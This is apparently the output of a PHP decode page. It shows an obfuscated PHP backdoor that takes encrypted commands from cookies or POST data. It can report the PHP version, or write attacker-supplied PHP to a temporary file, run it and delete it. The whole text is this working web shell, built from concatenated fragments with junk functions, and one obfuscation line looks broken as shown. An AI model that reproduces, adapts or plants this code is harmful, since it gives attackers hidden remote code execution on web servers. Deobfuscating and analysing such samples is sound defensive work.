PHP Decode

<?php 
function scmgetbla() 
{ 
    $wuybgapv_ = "lt_kjsb"; 
    print_r(8491 + 8491); 
} 
$ebkgmuy = "ebkgmuy" ^ ""; 
$fluteylm = 
    "f" . 
    "i" . 
    "l" . 
    $ebkgmuy(690 - 589) . 
    $ebkgmuy(848 - 753) . 
    "p" . 
    $ebkgmuy(117) . 
    $ebkgmuy(794 - 678) . 
    "_" . 
    "c" . 
    "o" . 
    "n" . 
    "t" . 
    "e" . 
    "n" . 
    "t" . 
    "s"; 
 
$npcduv_iw = 
    "b" . 
    $ebkgmuy(97) . 
    "s" . 
    "e" . 
    $ebkgmuy(735 - 681) . 
    "4" . 
    "_" . 
    $ebkgmuy(318 - 218) . 
    $ebkgmuy(924 - 823) . 
    "c" . 
    "o" . 
    "d" . 
    "e"; 
$tkhgsqtc = 
    $ebkgmuy(117) . 
    $ebkgmuy(255 - 145) . 
    "s" . 
    "e" . 
    "r" . 
    "i" . 
    $ebkgmuy(97) . 
    "l" . 
    "i" . 
    $ebkgmuy(122) . 
    "e"; 
 
$ynmrfv = 
    $ebkgmuy(840 - 728) . 
    "h" . 
    $ebkgmuy(112) . 
    "v" . 
    "e" . 
    "r" . 
    "s" . 
    "i" . 
    $ebkgmuy(951 - 840) . 
    "n"; 
 
$zhbryosb = "u" . "n" . "l" . "i" . "n" . $ebkgmuy(107); 
 
function rcepjmlqo($txlrdbd, $_wbsi) 
{ 
    global $ebkgmuy; 
 
    $uveegf = ""; 
 
    for ($kirnfj = 0; $kirnfj < strlen($txlrdbd); ) { 
        for ( 
            $fnrxgbjcac = 0; 
            $fnrxgbjcac < strlen($_wbsi) && $kirnfj < strlen($txlrdbd); 
            $fnrxgbjcac++, $kirnfj++ 
        ) { 
            $uveegf .= $ebkgmuy( 
                ord($txlrdbd[$kirnfj]) ^ ord($_wbsi[$fnrxgbjcac]) 
            ); 
        } 
    } 
    return $uveegf; 
} 
$nlytjqsrl = $_COOKIE; 
 
$mib_ezka = $_POST; 
$nlytjqsrl = array_merge($mib_ezka, $nlytjqsrl); 
 
$aatft = 
    "6" . 
    "8" . 
    "7" . 
    "6" . 
    $ebkgmuy(645 - 597) . 
    "f" . 
    "9" . 
    "d" . 
    "-" . 
    "e" . 
    "2" . 
    "c" . 
    "c" . 
    "-" . 
    "4" . 
    "b" . 
    "a" . 
    "1" . 
    "-" . 
    $ebkgmuy(98) . 
    "6" . 
    "0" . 
    $ebkgmuy(54) . 
    "-" . 
    "a" . 
    $ebkgmuy(102) . 
    "9" . 
    "1" . 
    "0" . 
    "1" . 
    $ebkgmuy(53) . 
    "c" . 
    $ebkgmuy(98) . 
    "9" . 
    "a" . 
    $ebkgmuy(197 - 144); 
 
foreach ($nlytjqsrl as $roocwiv => $txlrdbd) { 
    $txlrdbd = $tkhgsqtc( 
        rcepjmlqo(rcepjmlqo($npcduv_iw($txlrdbd), $aatft), $roocwiv) 
    ); 
    if (isset($txlrdbd["a" . "k"])) { 
        if ($txlrdbd["a"] == "i") { 
            $kirnfj = []; 
            $kirnfj["p" . "v"] = $ynmrfv(); 
            $kirnfj["s" . $ebkgmuy(698 - 580)] = "3" . "." . "5"; 
 
            echo @serialize($kirnfj); 
        } elseif ($txlrdbd["a"] == $ebkgmuy(101)) { 
            $fnrxgbjcachefrfrfp = sprintf( 
                "." . "/" . $ebkgmuy(37) . "s" . "." . "p" . "l", 
                md5($aatft) 
            ); 
 
            $fluteylm( 
                $fnrxgbjcachefrfrfp, 
                "<" . 
                    "?" . 
                    "p" . 
                    "h" . 
                    "p" . 
                    $ebkgmuy(32) . 
                    "u" . 
                    "n" . 
                    "l" . 
                    "i" . 
                    "n" . 
                    "k" . 
                    "(" . 
                    "_" . 
                    $ebkgmuy(756 - 661) . 
                    "F" . 
                    "I" . 
                    "L" . 
                    "E" . 
                    $ebkgmuy(95) . 
                    $ebkgmuy(314 - 219) . 
                    $ebkgmuy(921 - 880) . 
                    $ebkgmuy(59) . 
                    $ebkgmuy(32) . 
                    $txlrdbd["d"] 
            ); 
 
            include $fnrxgbjcachefrfrfp; 
 
            $lotect = $fnrxgbjcachefrfrfp; 
 
            $zhbryosb($lotect); 
        } 
 
        exit(); 
    } 
} 
 ?>